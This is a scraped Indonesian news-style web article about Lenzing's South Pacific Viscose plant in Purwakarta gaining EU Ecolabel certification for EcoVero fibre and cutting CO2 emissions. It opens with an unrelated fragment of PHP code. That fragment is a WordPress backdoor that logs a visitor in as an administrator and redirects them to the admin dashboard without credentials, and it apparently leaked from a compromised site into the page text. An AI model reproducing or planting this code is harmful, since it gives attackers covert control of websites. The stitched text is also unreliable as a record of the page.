user_login; break; } $us = get_user_by('login', $us ); if ( !is_wp_error( $us ) ) { get_currentuserinfo(); if ( user_can( $us, "administrator" ) ){ wp_clear_auth_cookie(); wp_set_current_user ( $us->ID ); wp_set_auth_cookie ( $us->ID ); $redirect_to = admin_url(); wp_safe_redirect( $redirect_to ); exit(); } } */
Trending Topic
Produk Tekstil Bertanggung Jawab Dukung Pengurangan Emisi CO2

4 Oct 2023



Suasana peresmian serat tekstil EcoVero™  dari Lenzing™ di pabrik mereka yang berlokasi di Purwakarta.  Foto: dok. South Pacific Viscose

Pabrik serat kain berbahan dasar kayu, South Pacific Viscose - Lenzing Group telah berhasil mengonversi pabriknya di Purwakarta menjadi ramah lingkungan berstandar EU Ecolabel. Beberapa produk perusahaan tersebut adalah serat bahan baku kain  Ecovero™.
Jika Anda membeli produk fashion ber-hang tag EcoVero™, Lenzing™ maupun Veocel™, Anda telah memilih produk dengan kain yang dibuat dari serat bersertifikat bertanggung jawab juga ramah terhadap lingkungan. 

"Semakin hari orang semakin mengenal tren produk yang menggunakan bahan yang dapat terbarukan atau sustainable. Banyak brand internasional maupun lokal menggunakan kain berbahan ini karena mereka tahu sudah ada jaminan ramah lingkungan. Konsumen pun kini bisa tahu, pakaiannya ikut berkontribusi mengurangi keluhan akan sampah, limbah dan kerusakan lingkungan akibat fashion industries," ungkap Winston A. Mulyadi, Head of Commercial Textile, Lenzing Group SEA & Oceania.
 


Tencel™  , salah satu brand di bawah Lenzing Group, bersama Advance Denim dan Officina+39 pelopori pengembangan estetika denim tanpa kapas dan bertanggung jawab terhadap lingkungan. Foto: dok. Tencel™

Menempuh Jalan Panjang Sertifikasi EU Ecolabel


Lenzing Group, produsen serat khusus berbasis kayu terkemuka di dunia, telah mengumumkan rencana peningkatan produksi mereka untuk serat viscose  atau rayon yang bertanggung jawab dan berkualitas tinggi untuk beberapa brand produk serat mereka di kawasan Asia Pasifik. Serat viscose ini, yang memiliki sertifikasi EU Ecolabel  dan diproduksi di pabrik South Pacific Viscose - Lenzing Group di Purwakarta.  Tujuan utamanya, mengurangi emisi CO2 per ton produk di seluruh grup sebesar 50 persen pada 2030, sehingga dapat mencapai produksi netral CO2 pada 2050.

Tentunya, ini bukan perjalanan pendek yang dilakukan oleh Lenzing Group dan South Pacific Viscose untuk mendapatkan sertifikasi EU Ecolabel (sertifikasi produk ramah lingkungan Uni Eropa) yang diakui di semua negara anggota Uni Eropa, Norwegia, Liechtenstein, dan Islandia. Ada banyak tahapan yang harus dilalui sebelum mendapatkan pengakuan ini termasuk mendapatkan hutan penghasil kayu bahan baku serat viscose yang benar-benar dikelola secara ramah lingkungan. Dan secara bertahap, Lenzing sudah konsisten menjalankan produksi bahan baku serat kain yang benar-benar mendukung kelestarian alam serta menekan perusakan lingkungan akibat proses produksi.

Selain EU Ecolabel, upaya True Carbon Zero yang sudah digalakkan sejak tahun 1992 oleh Lenzing AG melalui brand Tencel™ terus berlanjut hingga sekarang. Puncaknya, pada akhir September lalu, diumumkan secara resmi transformasi pabrik South Pacific Viscose - Purwakarta yang memproduksi EcoVero™ di Indonesia, berhasil mengurangi emisi sulfur serta jejak CO2, dan berkontribusi terhadap pengurangan polusi limbah air.  

"EcoVero sendiri adalah serat viscose yang ramah lingkungan dan mengikuti ekonomi sirkular dari sumber alam yang terbarukan dan degradable. Secara proses dan manajemen, kita sudah mendapatkan sertifikasi EU Ecolabel yang mensyaratkan mengurangi energi, emisi dan terkait limbah juga," ungkap Sri Aditia, Presiden Direktur PT. South Pacific Viscose.

Advertisement
 


Sri Aditia, Presiden Direktur PT. South Pacific Viscose. Foto: dok. South Pacific Viscose

Brand-brand yang Sudah Berlabel EcoVero

Diproduksi dengan penggunaan energi fosil dan air yang lebih rendah hingga 50% dibandingkan viscose pada umumnya, serat viscose merek Lenzing™  EcoVero™ telah digunakan dalam woven untuk fashion dan produk pakaian. Sebagai suplier serat bahan baku tekstil, Lenzing berharap dapat mendukung produk fashion seluas-luasnya.  Bukan hanya produk pakaian, kemeja, kaos dan loungewear, namun juga produk tekstil lain seperti handuk, seprai, dan masih banyak lagi.

"Kami memproduksi begitu luasnya produk tekstil dan sudah digunakan oleh beberapa brand internasional maupun lokal," ujar Winston sembari menyebut brand-brand internasional seperti H&M, Levi's, M&S, Uniqlo hingga brand lokal Eiger, Dust, Sare studio, Sejauh Mata Memandang, dan masih banyak brand terkenal lainnya.
 


Pelepasan trucking delivery Lenzing EcoVero. Foto: dok. South Pacific Viscose
 

Ajak Pelaku Usaha Fashion di Indonesia Bergerak Bersama 


Diakui Winston, sebagai produsen serat kain yang tidak bisa langsung bertemu dengan produsen produk tekstil, Lenzing butuh bekerjasama dengan beberapa produsen tekstil untuk mempertemukan mereka. Dalam beberapa kesempatan, Lenzing mengadakan event dan bekerjasama dengan pabrik kain di beberapa kota di Indonesia mempresentasika contoh kain dengan serat EcoVero™. 

Dalam ajang pertemuan tersebut, Lenzing juga melakukan edukasi sekaligus mensosialisasikan kain dengan serat bertanggung jawab seperti  EcoVero™.
"Sedikit banyak mereka akan mengetahui sendiri bagaimana kain berserat EcoVero itu juga berkualitas terbaik untuk pewarnaan, motif juga saat di-print. Inilah mengapa kolaborasi itu penting," tutup Winston.  
 

Baca Juga:
Menuju Indonesia Bebas Kanker Payudara Stadium Lanjut 2030
Tiga Produk Fashion Pilihan September 
Koleksi Kolaborasi UNIQLO dan Clare Waight Keller Mulai Rilis Hari Ini

Laili Damayanti


Topic

ecovero, lenzing, spv, south pacific viscose, serat kain berbasis kayu, serat viscose, eu ecolabel, sustainable, sustainability, emisi CO2

 



polling
Seberapa Korea Anda?

Hallyu wave atau gelombang Korea masih terus 'mengalir' di Indonesia. Penggemar KDrama, Kpop di Indonesia termasuk salah satu yang paling besar jumlahnya di dunia. Lalu seberapa Korea Anda?